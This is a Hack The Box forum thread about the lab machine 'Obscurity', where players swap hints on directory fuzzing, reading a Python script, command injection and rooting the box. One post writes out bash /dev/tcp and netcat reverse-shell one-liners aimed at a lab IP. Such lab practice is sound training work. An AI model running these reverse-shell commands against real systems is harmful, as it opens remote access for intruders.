Obscurity

13468927

Comments

  • Type your comment> @N0rt0N said:

    Got root :)
    Thanks @clubby789 for the box, so much fun!
    Also learn some new things

    still trying to find directory, can you give me a nudge please?

    windows 7 is my rig :) if it can't be done on windows, i fail.

  • Had fun writing simple scripts to do the simple things.

    limbernie
    My write-ups of retired machines | Discord - limbernie#0386

  • edited December 2019

    Struggling with finding the directory..
    Tried a lot of fuzzing tools including the praised ffuf without any luck
    Need a bit of help,let me know if I can pm for nudge

  • Type your comment> @djbrains said:

    Type your comment> @N0rt0N said:

    Got root :)
    Thanks @clubby789 for the box, so much fun!
    Also learn some new things

    still trying to find directory, can you give me a nudge please?

    @lesleybw said:
    Struggling with finding the directory..
    Tried a lot of fuzzing tools including the praised ffuf without any luck
    Need a bit of help,let me know if I can pm for nudge

    it's really easy guys. Probably you are rushing with wordlists and not thinking clear. Step back a second a think about the syntax. You have the child and want to fuzz the parent....

  • edited December 2019

    Type your comment> @notforsale said:

    Type your comment> @djbrains said:

    Type your comment> @N0rt0N said:

    Got root :)
    Thanks @clubby789 for the box, so much fun!
    Also learn some new things

    still trying to find directory, can you give me a nudge please?

    @lesleybw said:
    Struggling with finding the directory..
    Tried a lot of fuzzing tools including the praised ffuf without any luck
    Need a bit of help,let me know if I can pm for nudge

    it's really easy guys. Probably you are rushing with wordlists and not thinking clear. Step back a second a think about the syntax. You have the child and want to fuzz the parent....

    @notforsale said:
    Type your comment> @djbrains said:

    Type your comment> @N0rt0N said:

    Got root :)
    Thanks @clubby789 for the box, so much fun!
    Also learn some new things

    still trying to find directory, can you give me a nudge please?

    @lesleybw said:
    Struggling with finding the directory..
    Tried a lot of fuzzing tools including the praised ffuf without any luck
    Need a bit of help,let me know if I can pm for nudge

    it's really easy guys. Probably you are rushing with wordlists and not thinking clear. Step back a second a think about the syntax. You have the child and want to fuzz the parent....

    yeah, i got the idea. but not the (working) tools.
    found a directory and the file manually.
    now figuring the next step :)

    windows 7 is my rig :) if it can't be done on windows, i fail.

  • Can someone please give me nudge on finding the secret directory for the py file. Tried brute forcing with dirb but it fails for some reason.
    Thank you
  • Great box, slightly CTF-y though. Thank you @clubby789

    Foothold: Rather than going with your traditional tools, I suggest finding the file manually. In the file, look for something that could get you in.
    User: I felt this was pretty straightforward, enough hints hereon the thread.
    Root: Did it the unintended way first (because duh), but then later did it the intended way. It's pretty easy, don't go down rabbit holes.

    Feel free to PM me if you need a nudge.

    Feel free to message for a hint. Find my HTB profile here.

  • Not really sure how to fuzz this, can someone send me a > @d3kum1d0r1y4 said:

    Can someone please give me nudge on finding the secret directory for the py file. Tried brute forcing with dirb but it fails for some reason.
    Thank you

    Same here, somehow I'm unable to fuzz this box. Can someone PM me a nudge?

  • Thought I had got it, but does not seem to come back with anything. Anyone that can PM me with a nudge would be great.

  • why is that dir escaping me? Haha. DirBuster or wfuzz have not given me any success. Perhaps doing something wrong...

  • i did the ugliest root ever :x
    if it looks stupid but it works, it aint stupid :)

    windows 7 is my rig :) if it can't be done on windows, i fail.

  • Fuzzing the file dir was easy and straightforward.

    But I have no idea what I can do with the .py. I have saved it on my local machine and run it but get errors.
    And I have read the contents line by line but I could not determine anything juicy to get further.

    Anyone who can point me to the right direction with the .py? Thx

  • Hi All,

    I'm new in the hacking world and I have decide to try this machine, but I'm struggling to understand the py script or even run it, I'm not a python person, my mistake it seems.

    So I have found the directory and the py script and I need help to understand it, is anyone able to help me?

    Thank you

  • me too struggling with .py plz send hints

    The Below Statement is True
    The Above Statement is False

  • For those who struggle finding the dir, try playing around with file you can access in the source code and understand why your (dirb, wfuzz or whatever) is not working

  • edited December 2019

    Found the hidden dir and file, ffuf is an awesome tool - will keep it in the reserves for future use... but that is where i am stumped. Looking for some resources to point me in the right direction for understanding what i'm reading in the code. Also, kind of stumped on how to recreate it locally for testing out a PoC before trying on the box. PM's welcome - thx

    edit - thx @Sekisback for the nudge - to anyone reading this... dont let yerself get too lost in the code... keep it simple and get involved with the requests you are sending to the box... maybe modify one of them and... that is the hint for foothold.

  • Rooted, straightforward and a bit CTF like, and fun.
    PM for nudges are always welcome.


    Check out my blog
    Always happy to help! but please consider dropping some respect. ^^

  • Rooted, thanks for this machine @clubby789 .

    That was fun, python <3 <3

    Feel free to PM me for hints.

    If i helped you, +1 respect please !

    Hack The Box

  • @clubby789 ,what is the intended way? I got 2 ways now. One gave me the root password and the other only the flag.

    windows 7 is my rig :) if it can't be done on windows, i fail.

  • Type your comment> @djbrains said:

    @clubby789 ,what is the intended way? I got 2 ways now. One gave me the root password and the other only the flag.

    The goal isn't to root the machine ? x)

    If i helped you, +1 respect please !

    Hack The Box

  • edited December 2019
    Got user. It has been a nightmare, but actually no math at all for decrypting, only a little bit of logic applied to the code.
    update:
    rooted .

    BadRain

  • Type your comment> @w4x said:

    Type your comment> @djbrains said:

    @clubby789 ,what is the intended way? I got 2 ways now. One gave me the root password and the other only the flag.

    The goal isn't to root the machine ? x)

    Rooting or root access? ;)

    windows 7 is my rig :) if it can't be done on windows, i fail.

  • Type your comment> @djbrains said:

    Type your comment> @w4x said:

    Type your comment> @djbrains said:

    @clubby789 ,what is the intended way? I got 2 ways now. One gave me the root password and the other only the flag.

    The goal isn't to root the machine ? x)

    Rooting or root access? ;)

    Virtualbox?

  • Excellent box and pretty straight forward :D I found two ways to root it ;) don't know which one was the intended but both were fun

    amra13579l

  • Type your comment> @zuk4 said:

    Hi All,

    I'm new in the hacking world and I have decide to try this machine, but I'm struggling to understand the py script or even run it, I'm not a python person, my mistake it seems.

    So I have found the directory and the py script and I need help to understand it, is anyone able to help me?

    Thank you

    bro how you found the secre directory and py file can you help me please

  • Hi,

    I'm stuck with the dir... no way to find it. Can anyone give me a nudge?
    I've tried all the fuzzing tools but with no luck... also manually with the same result.

  • edited December 2019

    So I've found the place in the foothold where I can manipulate input to the server to achieve command execution and I've written a script that can encode and then execute either system commands or instructions in parseltongue. However, I cannot figure out how to get a reverse shell or even just exfil data. The only way that I know for a fact my commands can be run by the system is by sending a "wget" and setting up a HTTP server on my box and seeing the file request go through. However, if I try to run a
    bash -i >& /dev/tcp/10.10.x.x/31337 0>&1 or a
    nc -e /bin/bash 10.10.x.x 31337
    I get no reverse shell. I've reset the box and still no reverse shell, since I've seen some people try that. I feel like I'm on the right track, but could use a nudge in the right direction to actually get on the box.

    Edit: Got shell, and then after some work got user. Huge thanks to @sChr0D1NGer for solving my reverse shell problems! The hint that worked for me: system commands may not be able to do what you think they can, so stick to native parseltongue.

    Edit2: Aaaaand... root! I don't know if I solved as intended, because I took advantage of my ability to read the code to capture something during execution rather than exploit execution. Could any others with root let me know if I got system as intended?

    ph03nix0x90

  • Cannot find initial footholds...any hint....nothing seems to work

  • I found the py file and gone through it like 2 days and I cannot found a way to proceed further.

    I think it might be possible through the ex** code but I'm not sure as I'm new to this and cannot proceed but scratch my head around it.

    Can someone help me out through it?

    If I helped you in any way possible please do +1 rep https://www.hackthebox.eu/home/users/profile/12136

  • Type your comment> @d4sh1981 said:

    Seem to be having a problem with the initial fuzzing, don't seem to be able to find the directory

    Update, i think i have found the command that will fine the directory. But it is making no sense. Can someone message me with a nudge of that i am missing. Have ffuff running and not returning every line in the file.

Sign In to comment.